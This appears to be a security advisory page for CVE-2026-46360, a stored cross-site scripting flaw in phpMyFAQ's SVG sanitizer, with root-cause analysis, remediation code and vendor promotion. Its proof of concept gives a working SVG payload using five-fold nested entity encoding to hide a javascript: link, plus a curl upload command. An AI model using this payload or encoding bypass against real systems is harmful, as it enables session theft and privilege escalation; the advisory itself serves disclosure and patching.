CVE-2026-46360

CVE-2026-46360 is a medium-severity cross-site scripting (XSS) vulnerability in phpmyfaq/phpmyfaq (composer), affecting versions <= 4.1.1. It is fixed in 4.1.2.

Summary

The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of &amp; encoding around numeric HTML entities (e.g., &amp;amp;amp;amp;amp;#106; for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.

Details

Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls html_entity_decode() which resolves one level of &amp;&. With 5 levels of &amp; wrapping, all 5 iterations are consumed unwinding the &amp; nesting, leaving the final &#NNN; numeric entities unresolved.

Code path:

  1. Authenticated user with FAQ_EDIT permission uploads SVG via POST /admin/api/content/images (ImageController::upload() at line 39)
  2. File extension is svgSvgSanitizer::isSafe() called (line 114)
  3. isSafe() calls decodeAllEntities(), 5 iterations resolve &amp; nesting but leave &#106;&#97;... (numeric entities for javascript)
  4. Pattern matching at line 47 (/href\s*=\s*["\'][\s]*javascript\s*:/i) does not match &#106;&#97;...
  5. isSafe() returns true, file saved without any sanitization
  6. SVG served directly by web server from content/user/images/ with image/svg+xml MIME type
  7. Browser's XML parser decodes &#106;j, &#97;a, etc., reconstructing javascript:alert(document.domain)
  8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin

The bypass is even simpler than initially described, no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.

Relevant code in decodeAllEntities():

// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249
private function decodeAllEntities(string $content): string
{
    $previous = '';
    $decoded = $content;
    $maxIterations = 5;  // <-- insufficient for 5 levels of &amp; + numeric entity

    while ($decoded !== $previous && $maxIterations-- > 0) {
        $previous = $decoded;
        // Step 1: Decode decimal entities (&#106; → j)
        $decoded = preg_replace_callback('/&#(\d+);/', ...);
        // Step 2: Decode hex entities (&#x6A; → j)
        $decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);
        // Step 3: Decode named HTML entities (&amp; → &)
        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }
    // After 5 iterations with 5 &amp; levels: &#106; remains undecoded
    return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded);
}

PoC

Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of &amp; nesting around numeric entities. No <script> decoy is required, isSafe() itself is bypassed.

Step 1: Create malicious SVG file (xss.svg):

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
  <a href="&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)">
    <circle cx="100" cy="100" r="80" fill="red"/>
    <text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text>
  </a>
</svg>

Step 2: Upload via admin image upload endpoint:

curl -b 'session_cookie' \
  -F "files[][email protected]" \
  "https://TARGET/admin/api/content/images?csrf=VALID_TOKEN"

Expected response: {"success": true, ...} with the uploaded file URL.

Step 3: Access the uploaded SVG directly:

https://TARGET/content/user/images/1712345678_xss.svg

The browser renders the SVG as image/svg+xml. The XML parser decodes &#106;j, &#97;a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.

Impact

  • Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.
  • Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins.
  • Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.
  • Data exfiltration: Access to all FAQ content, user data, and configuration accessible through the admin interface.

The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-46360 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.

Affected versions

phpmyfaq/phpmyfaq (<= 4.1.1) thorsten/phpmyfaq (<= 4.1.1)

Security releases

phpmyfaq/phpmyfaq → 4.1.2 (composer) thorsten/phpmyfaq → 4.1.2 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

The root cause is that decodeAllEntities() can be exhausted by deeply nested &amp; encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:

// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()
private function decodeAllEntities(string $content): string
{
    $previous = '';
    $decoded = $content;
    $maxIterations = 10; // Increase from 5 to handle deeper nesting

    while ($decoded !== $previous && $maxIterations-- > 0) {
        $previous = $decoded;
        $decoded = preg_replace_callback(
            '/&#(\d+);/',
            static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
            $decoded,
        );
        $decoded = preg_replace_callback(
            '/&#x([0-9a-fA-F]+);/',
            static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
            $decoded,
        );
        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');
    }

    // Safety net: if the loop exited due to iteration limit, do a final
    // numeric/hex entity decode pass to catch any remaining &#NNN; entities
    $decoded = preg_replace_callback(
        '/&#(\d+);/',
        static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
        $decoded,
    );
    $decoded = preg_replace_callback(
        '/&#x([0-9a-fA-F]+);/',
        static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
        $decoded,
    );

    return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded);
}

Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.

Frequently Asked Questions

  1. What is CVE-2026-46360? CVE-2026-46360 is a medium-severity cross-site scripting (XSS) vulnerability in phpmyfaq/phpmyfaq (composer), affecting versions <= 4.1.1. It is fixed in 4.1.2. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-46360? CVE-2026-46360 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-46360?
    • phpmyfaq/phpmyfaq (composer) (versions <= 4.1.1)
    • thorsten/phpmyfaq (composer) (versions <= 4.1.1)
  4. Is there a fix for CVE-2026-46360? Yes. CVE-2026-46360 is fixed in 4.1.2. Upgrade to this version or later.
  5. Is CVE-2026-46360 exploitable, and should I be worried? Whether CVE-2026-46360 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-46360 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-46360?
    • Upgrade phpmyfaq/phpmyfaq to 4.1.2 or later
    • Upgrade thorsten/phpmyfaq to 4.1.2 or later

Other vulnerabilities in phpmyfaq/phpmyfaq

CVE-2026-49205CVE-2026-48488CVE-2026-35675CVE-2026-35672CVE-2026-35671

Stop the waste.
Protect your environment with Kodem.